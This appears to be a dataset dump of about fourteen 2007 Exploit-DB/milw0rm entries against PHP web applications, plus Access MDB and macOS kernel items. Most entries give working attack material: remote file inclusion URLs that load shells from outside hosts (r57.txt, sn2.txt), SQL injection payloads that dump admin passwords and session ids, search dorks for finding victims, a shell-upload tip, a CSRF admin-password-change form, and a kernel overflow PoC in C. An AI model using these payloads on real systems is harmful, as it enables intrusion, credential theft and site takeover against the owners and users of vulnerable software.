QLWD/code_shield huggingface dataset:
标题: Joomla! Component juser 1.0.14 - Remote File Inclusion EDB-ID: 4636 CVE: 2007-6038 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-19 漏洞利用脚本: ==================================================================================================================================

# JUser Joomla Component 1.0.14 Remote File Include Vulnerability

    Component     : com_juser version 1.0.14 - paid component
    Vendor        : www.joomlaequipment.com
    Discovered by : NoGe
    Contact       : pace[dot]noge[at]hotmail[dot]com
  
==================================================================================================================================

# Vulnerable file
  
    /administrator/components/com_juser/xajax_functions.php

    line 4 require ($mosConfig_absolute_path.'/administrator/components/com_juser/xajax/xajax_core/xajax.inc.php');



# Exploit

    http://localhost/path/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=[evilcode]



# D0rk

    inurl:com_juser

==================================================================================================================================

# Greetz

    all crew #papuahacker #baliemhackerlink #nyubicrew
    skulmatic OLiBekaS ulga Cungkee nyubi k1tk4t str0ke newbie
    yooogy H312Y Vrs-hCk Oon_Boy Paman mousekill }^-^{ haliq
    http://kapukvalley.net member

==================================================================================================================================

# milw0rm.com [2007-11-19] URL: https://www.exploit-db.com/exploits/4636
标题: skyportal vrc6 - Multiple Vulnerabilities EDB-ID: 4638 CVE: 2007-6078 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-20 漏洞利用脚本: ########################## WwW.BugReport.ir ###########################################
#
#      BugReport Security Research & Penetration Testing Group
#
# Title: [Sky Portal] Multiple SQL Injection Vulnerabilities
# Vendor: http://skyportal.net
# Exploitation: Remote with browser
# Fix Available: Patched In Last Version In Vendor
#######################################################################################
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact : admin@bugreport.ir
######################## Bug Description ###########################

Description:
--------------------
A Lot Of Sql Injection Found And We Exploit One Of them
A Registered User Can Change His/Her Name And Read All Other's Private Messages.

Vulnerabilities:
--------------------
+--> Multiple SQL Injection Vulnerabilities

nc_top.asp Line 59 
strDBNTFUserName = Mitoone injection bezane be functione line 60 iani isMbr() >>> test.htm  but !??! this function is very crazy!
--------------------------
user can delete all bookmarks
inc_bookmarks.asp line 179
delSQL = "DELETE FROM "& strTablePrefix & "BOOKMARKS WHERE BOOKMARK_ID = " & delBkmk(ib)

this file use from cp_main.asp
---------------------------

inc_profile_functions.asp
line 568,570,572,573

---------------------------

user can delete all SUBSCRIPTIONS>
inc_SUBSCRIPTIONS.asp line 163
delSQL = "DELETE FROM "& strTablePrefix & "SUBSCRIPTIONS WHERE SUBSCRIPTION_ID = " & delBkmk(ib)
executeThis(delSQL)
this file use from cp_main.asp


-------------------------- Html Exploit ------------------------------

<form action="http://[VICTIM URL]/cp_main.asp?mode=EditIt&cmd=9" method="post">
Photo_URL: <input type="text" name="Photo_URL" value="" size="200"/>
<br />
Avatar_URL[injection goes here]: <input type="text" name="Avatar_URL" value="',M_Name='Admin',M_Username='Admin" />
<br />
LINK1[Also injection goes here]: <input type="text" name="LINK1" value="" />
<br />
LINK2[Also injection goes here]: <input type="text" name="LINK2" value="" />
<br />
Password: <input type="text" name="Password-d" value="YOU MUST ENTER YOUR HASHED PASSWORD HERE (For Ex: 123123 = defbfbd84d16387273dde914fd309c3b)" />
<br />
Email: <input type="text" name="Email" value="admin@bugreport.ir" />
<br />
Name: <input type="text" name="Name" value="Your Current Username" />
<br />
RECMAIL: <input type="text" name="RECMAIL" value="0" />
<br />
HideMail: <input type="text" name="HideMail" value="1" />
<br />
<br />
<input type="submit" />
</form>

Credit:
--------------------
BugReport Security Research & Penetration Testing Group
WwW.BugReport.ir

# milw0rm.com [2007-11-20] URL: https://www.exploit-db.com/exploits/4638
标题: TalkBack 2.2.7 - Multiple Remote File Inclusions EDB-ID: 4640 CVE: 2007-6105 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-21 漏洞利用脚本: ==================================================================================================================================

# TalkBack 2.2.7 Remote File Include Vulnerability

    Software      : TalkBack version 2.2.7
    Developer     : http://www.scripts.oldguy.us/talkback
    Discovered by : NoGe
    Contact       : pace[dot]noge[at]hotmail[dot]com
  
==================================================================================================================================


# Vulnerable file
  
    comments-display-tpl.php

    line 35 include $language_file;
    line 172 include $config['comments_form_tpl'];

    addons/separate-comments-mod/my-comments-display-tpl.php

    line 35 include $language_file;



# Exploit

    http://localhost/path/comments-display-tpl.php?language_file=[evilcode]
    http://localhost/path/comments-display-tpl.php?config[comments_form_tpl]=[evilcode]
    http://localhost/path/addons/separate-comments-mod/my-comments-display-tpl.php?language_file=[evilcode]


==================================================================================================================================

# Greetz

    all crew #papuahacker #baliemhackerlink #nyubicrew
    skulmatic olibekas ulga Cungkee nyubi k1tk4t bius SiKodoQ newbie
    yooogy H312Y Vrs-hCk Oon_Boy Paman mousekill }^-^{ Fluzy str0ke
    http://kapukvalley.net member

==================================================================================================================================

# milw0rm.com [2007-11-21] URL: https://www.exploit-db.com/exploits/4640
标题: phpBBViet 02.03.2007 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 4631 CVE: 2007-6088 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-17 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

phpBBViet 0.22 (phpbb_root_path) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: xoron

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Exploit:

/includes/functions_mod_user.php?phpbb_root_path=http://netdevilz ?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://sourceforge.net/project/showfiles.php?group_id=193675

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Thanx: ZeberuS - Madtoxic - Deep Emperor  and All Netdevilz member

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

# milw0rm.com [2007-11-17] URL: https://www.exploit-db.com/exploits/4631
标题: HotScripts Clone Script - SQL Injection EDB-ID: 4633 CVE: 2007-6084 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-18 漏洞利用脚本: --==+================================================================================+==--
--==+             HotScripts Clone Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK (google): "Software Categories" "Featured Resources" "Search"


DESCRIPTION:
Pull admin info from database, and maybe upload shell.


EXPLOITS:
www.site.com/software-description.php?id=-1/**/UNION/**/ALL/**/SELECT/**/concat(admin_name,char(58),pwd)/**/FROM/**/sbwmd_admin/*


NOTE/TIP:
admin login is at /siteadmin/
image upload /siteadmin/fileupload.php, its vulnerable to PHP Nullbyte posisoning. so upload shell.

i know this doesnt look like a HotScripts clone but it is.


GREETZ: milw0rm.com, H4CK-Y0u.org


--==+================================================================================+==--
--==+             HotScripts Clone Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--

# milw0rm.com [2007-11-18] URL: https://www.exploit-db.com/exploits/4633
标题: Joomla! Component Carousel Flash Image Gallery - Remote File Inclusion EDB-ID: 4626 CVE: 2007-6027 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-16 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Carousel Flash Image Gallery Joomla Component
*    [~] Download.....:       http://justjoomla.net/joomla-components/carousel-flash-image-gallery.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       inurl:"com_jjgallery
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=http://sibersavascilar.com/shelz/r57.txt ?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: f3ck y0ur l3fe
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-11-16] URL: https://www.exploit-db.com/exploits/4626
标题: Myspace Clone Script - 'index.php' Remote File Inclusion EDB-ID: 4628 CVE: 2007-6057 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-16 漏洞利用脚本: ######################|S n I p E r - S A . C o m|###################
#                                                                  #
#  SSSSS      NNN        NN   II  PPPPPPP  EEEEEEEEE   RRRRR       #
# SS          NN NN      NN   II  PP    P  EE          RR   RR     #
#S            NN  NN     NN   II  PP    P  EE          RR     R    #
# SS          NN   NN    NN   II  PPPPPPP  EE          RR   RR     #
#   SSSS      NN    NN   NN   II PPP     EEEEEEE      RRRR         #
#        SS   NN     NN  NN   II  PP       EE          RRRR        #
#          S  NN      NN NN   II  PP       EE          RR  RR      #
#        SS   NN        NNN   II  PP       EE          RR   RR     #
#   SSSSS     NN        NNN   II  PP       EEEEEEEEEE  RR     RR   #
#                                                                  #
#####################|V e r Y - S e c R e T|########################
#found by :  VerY-SecReT <---->[SnipEr's TeaM]                     #
####################################################################
#HomePage : WwW.SnIpEr-Sa.Com                                      #
####################################################################
#DORK (altavista.com): "Search | Invite | Mail | Blog | Forum"     #
#########################################################################################################################
#EX: http://victim/index.php?pg=http://www.sniper-sa.com/sn2.txt?  #
#########################################################################################################################
#S.GreetZ: sniper-sa.com & SnIpEr-Sa & Rafoo                       #
####################################################################
#ThanX To: ShoOt3r , 911 , 3badi , Devil-X , Mr.Max , Golden Hacker#
####################################################################
#Contact : SecReT@SecuRitY.Com.Sa  & http://www.sniper-sa.com      #
####################################################################

# milw0rm.com [2007-11-16] URL: https://www.exploit-db.com/exploits/4628
标题: Vigile CMS 1.4 - Multiple Vulnerabilities EDB-ID: 4632 CVE: 2007-6087 2007-6086 2007-6085 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-18 漏洞利用脚本: ---------------------------------------------------------------------------------------
     .___          .__.__                                     
   __| _/_______  _|__|  | _____   __ _________  ____   ____  
  / __ |/ __ \  \/ /  |  | \__  \ |  |  \_  __ \/  _ \ /    \ 
 / /_/ \  ___/\   /|  |  |__/ __ \|  |  /|  | \(  <_> )   |  \
 \____ |\___  >\_/ |__|____(____  /____/ |__|   \____/|___|  /
      \/    \/                  \/                         \/ 
---------------------------------------------------------------------------------------
   Status : Public
   Author : DevilAuron
   Board  : VigileCMS
   Site   : http://devilsnight.altervista.org
   Date   : [16-11-2007] (dd-mm-yyyy)
---------------------------------------------------------------------------------------
VigileCMS Multiple Vulnerabilities
---------------------------------------------------------------------------------------
Permanent Xss:
---------------------------------------------------------------------------------------
http://[site]/[path]/index.php?module=vedipm&inviapm=true
http://[site]/[path]/index.php?module=live_chat
Insert on the message the xss
---------------------------------------------------------------------------------------
Local File Inclusion:
---------------------------------------------------------------------------------------
index.php
---------------------------------------------------------------------------------------
 if (file_exists("$_GET[module].php")) {
 include ($_GET['module'].".php"); 
         } else {
 include ("pagine/".$_GET['module'].".php"); 
            }
         navdx3("100%");

         } else {
 announcement ("<center><li><font color=\"red\">File non esistente</font></center>");
            }
---------------------------------------------------------------------------------------
Then u can include all file present on the server
http://[site]/[path]/index.php?module=[somefile]%00
---------------------------------------------------------------------------------------
CSRF:
---------------------------------------------------------------------------------------
Change Admin Password:
---------------------------------------------------------------------------------------
<form name="cambia" method="post" action="http://127.0.0.1/VIGILE_1.4/index.php?module=changepass">
<input type="password" name="new1" maxlength=20 value="123456">
<input type="password" name="new2" maxlength=20 value="123456">
<input type="hidden" name="pw" value="Cambia la Password">
</form>
<script>document.cambia.submit()</script>
---------------------------------------------------------------------------------------
DevilAuron - http://devilsnight.altervista.org
---------------------------------------------------------------------------------------

# milw0rm.com [2007-11-18] URL: https://www.exploit-db.com/exploits/4632
标题: Toko Instan 7.6 - Multiple SQL Injections EDB-ID: 4623 CVE: 2007-6004 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-14 漏洞利用脚本: # Indonesian Newhack Security Advisory
# ------------------------------------
# Toko Instan V7.6 - Multiple Remote SQL Injection Vulnerabilities
# Waktu   :  Nov 14 2007 08:30AM
# Software  :  Toko Instan V7.6
# Vendor  :  http://www.tokohandal.com/
# Demo Site  :  http://www.tokohandal.com/demo/demo2.php
# Ditemukan oleh :  k1tk4t  |  http://newhack.org
# Lokasi  :  Indonesia
#

// Kutu Pada Berkas "index.php"
- variabel "id" pada "artikel" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
POC ;
http://korban.site/index.php?cm=artikel&cp=show&id=-1/**/union/**/select/**/null,null,null,null,null,userid,password,null,null/**/from/**/member/*

- variable "katid" pada "produk" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote
POC ;
http://korban.site/index.php?cm=produk&cp=show&katid=-1/**/union/**/select/**/null,null,null,null,null,null,null,null,null,null,null,concat(userid,0x3a,password)/**/from/**/member/*

# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron
# nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT
# Komunitas Security dan Hacker Indonesia
# dan terkhusus untuk mas ghoz, selamat jalan sahabat|rekan jangan lupakan kami disana, kami selalu menanti kedatangan mas ghoz dengan suka cita  :) 

# milw0rm.com [2007-11-14] URL: https://www.exploit-db.com/exploits/4623
标题: meBiblio 0.4.5 - 'action' Remote File Inclusion EDB-ID: 4630 CVE: 2007-6089 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-17 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~
~  meBiblio 0.4.5 RFI  ~
~~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : meBiblio 0.4.5
---------------------
Download            : http://downloads.sourceforge.net/mebiblio/meBiblio-0.4.5.tar.gz?modtime=1195237984&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Vulnerable file     : index.php
---------------------
Exploit URL         : http://localhost/path/index.php?action=http://localhost/shell.txt?
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Vulnerable variable : action
---------------------
Line number         : 41
---------------------


----------------------------------------------
 //print "<p>Action = $action" ;            
 include "$action.inc.php";                 
 }                                          
----------------------------------------------


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r - Inphex


Thanks To:
----------

str0ke

# milw0rm.com [2007-11-17] URL: https://www.exploit-db.com/exploits/4630
标题: Microsoft Jet Engine - '.MDB' File Parsing Stack Overflow EDB-ID: 4625 CVE: 2007-6026 类型: LOCAL 平台: WINDOWS 发布日期: 2007-11-16 漏洞利用脚本: Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net


Summary:

    A remote code execute vulnerability exists in Microsoft Jet
Engine. A remote attacker who successfully exploit this vulnerability
can execute arbitrary code on the affected system.


Affected Software Versions:

    Microsoft Office Access 2003 sp3 on Windows XP SP2(chinese)
    (Other versions may also be affected)

How to Reproduce:

    Open the attached file
"Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.mdb" with Office Access
2003 sp3 on Windows XP SP2, then "calc.exe" will be executed, please
do not use the exploit for attacking.

The attached file is at:

    http://ruder.cdut.net/attach/MS_MDB_Vul/Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.rar
    Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4625.rar (11162007-Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.rar)

    MD5 Hash:73243B8823C8DC2C88AE0529CA13C4C6

# milw0rm.com [2007-11-16] URL: https://www.exploit-db.com/exploits/4625
标题: patBBcode 1.0 - 'bbcodeSource.php' Remote File Inclusion EDB-ID: 4621 CVE: 2007-5995 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-12 漏洞利用脚本: Link to download:
http://www.php-tools.net/site.php?file=patBBCode/overview.xml

Vuln file:
examples\patExampleGen\bbcodeSource.php

Vuln code:
    if( !isset( $_GET['example'] ) )
        die( 'No example selected.' );
   
    $exampleId = $_GET['example'];

    ob_start();

    // make the example think it's still in the right place
    chdir( '../' );
   
    // include the example
    require $exampleId.'.php';
   
    ob_end_clean();

Exploit:
examples\patExampleGen\bbcodeSource.php?example= http://server.com/evilcode.php

# milw0rm.com [2007-11-12] URL: https://www.exploit-db.com/exploits/4621
标题: Myspace Clone Script - SQL Injection EDB-ID: 4622 CVE: 2007-5992 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-13 漏洞利用脚本: --==+================================================================================+==--
--==+      Myspace Clone Script SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: datecomm.com
DORK (altavista.com): "Search | Invite | Mail | Blog | Forum"


DESCRIPTION: 
pull admin session id's from the database, then visit admin area.


EXPLOITS:
index.php?pg=forums&s=viewcat&seid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,sess_id,7,8,9,10/**/FROM/**/admin/*


NOTE/TIP:
after executing the Injection you will see a SessionID.

Use the session id in the below URL:
admin.php?pg=users&adsess=SESSION_ID

example: 
http://www.site.com/admin.php?pg=users&adsess=54f824ebcde36ee8844c103d97412123

Do Not Click Logout! as it will delete the sessionid from the DB.


GREETZ: milw0rm.com, H4CK-Y0u.org!


--==+================================================================================+==--
--==+      Myspace Clone Script SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2007-11-13] URL: https://www.exploit-db.com/exploits/4622
标题: Apple Mac OSX 10.4.x Kernel - 'i386_set_ldt()' Integer Overflow (PoC) EDB-ID: 4624 CVE: 2007-4684 类型: DOS 平台: OSX 发布日期: 2007-11-16 漏洞利用脚本: #include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and
copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}

// milw0rm.com [2007-11-16] URL: https://www.exploit-db.com/exploits/4624